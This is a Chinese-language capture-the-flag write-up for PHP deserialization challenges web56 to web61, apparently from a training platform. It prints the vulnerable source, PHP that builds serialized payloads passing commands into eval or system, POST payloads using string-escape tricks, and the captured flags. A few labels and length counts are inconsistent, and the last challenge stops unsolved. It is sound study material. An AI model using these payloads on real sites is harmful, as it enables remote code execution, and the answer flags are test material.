web56-60

web56

开启环境后
源码

<?php


error_reporting(0);
highlight_file(__FILE__);


class backdoor{
    public $name;

    public function __destruct(){
        eval($this->name);
    }
}

$data = $_POST['data'];


if (preg_match('/^O:\d+/i',$data)){
    die("object not allow unserialize");
}

unserialize($data);

不能使用O:数字,很明显使用+绕过。

首先构造php代码

<?php

class backdoor{
    public $name;

    public function __destruct(){
        eval($this->name);
    }
}

$b = new backdoor();
$b->name = "phpinfo();";

echo urlencode(serialize($b));

得到payload

O%3A8%3A%22backdoor%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D

在远程POST提交

很明显会被阻止
于是我们加入+，并进行url编码

成功RCE

<?php

class backdoor{
    public $name;

    public function __destruct(){
        eval($this->name);
    }
}

$b = new backdoor();
$b->name = $_GET['cmd'];

echo urlencode(serialize($b));

上述代码getcmd为一个命令
找到flag

flag{adc85882-ac4c-4b3d-a370-5e4ed32c939d}

web57

开启环境后，可以看到网站源码为：

<?php


error_reporting(0);
highlight_file(__FILE__);

class login{

    public $username;
    public $password;
    public $secret;

    private $code;

    public function __wakeup(){
        $this->secret = file_get_contents("/f1ag");
    }

    public function check_login(){
        if($this->username = 'admin' && $this->password==$this->secret){
        eval($this->code);
        }
    }

}


$data = $_POST['data'];

$login=unserialize($data);
$login->check_login();

观察后，发现我们只需要通过引号绕过，将password与secret一致

<?php

class login{

    public $username='admin';
    public $password;
    public $secret;

    private $code="system('tac /f*');";

    public function __construct(){
        $this->password = &$this->secret; //引号绕过
    }

    public function __wakeup(){
        $this->secret = file_get_contents("/f1ag");
    }

    public function check_login(){
        if($this->username = 'admin' && $this->password==$this->secret){
            eval($this->code);
        }
    }

}

得到flag

flag{afefbd4a-b348-433b-8c6d-a7e45e2dfa59}

web59

开启环境后

<?php


error_reporting(0);
highlight_file(__FILE__);



class backdoor{
    public function __destruct(){
        echo file_get_contents("/f1ag");
    }
}

$data = $_POST['data'];

if(unserialize($data)){
    throw new Exception("not allow unserialize");
}

反序列化会爆出异常，但是不会影响我们的析构（除非关闭线程）
直接构造一个无属性的class backdoor即可

<?php

class backdoor{

}

$b = new backdoor();

echo urlencode(serialize($b));

得到O%3A8%3A%22backdoor%22%3A0%3A%7B%7D
得到flag

flag{fc55c489-996f-4730-b0cc-39c6df19e2f6}

web60

开启环境后

<?php


error_reporting(0);
highlight_file(__FILE__);



class backdoor{

    public $m;

    public function __construct($m){
        $this->m= $m;
        $this->a= "whoami";
    }

    public function __destruct(){
        system($this->a);
    }
}

function filter($str){
    return str_replace("system","ctfshow",$str);
}

$m = $_POST['m'];

$b = new backdoor($m);

$c = filter(serialize($b));

unserialize($c);

字符会被替换，6位到7位，会多一个字符，我们在反序列化时增添a属性，并添加自己的可控命令,如此构造一个m进行post，内含有22个system用来逃逸22个字符

m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:4:"ls /";}

其中被我们逃逸的字符为

";s:1:"a";s:6:"ls /";}

找到flag后进行下一步逃逸，system再添加3个，因为命令cat /f*比ls /多三个字符

m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"cat /f*";}

得到flag

flag{f40163ce-1e2c-426b-b381-d759401722da}

web61

开启环境后

<?php

error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

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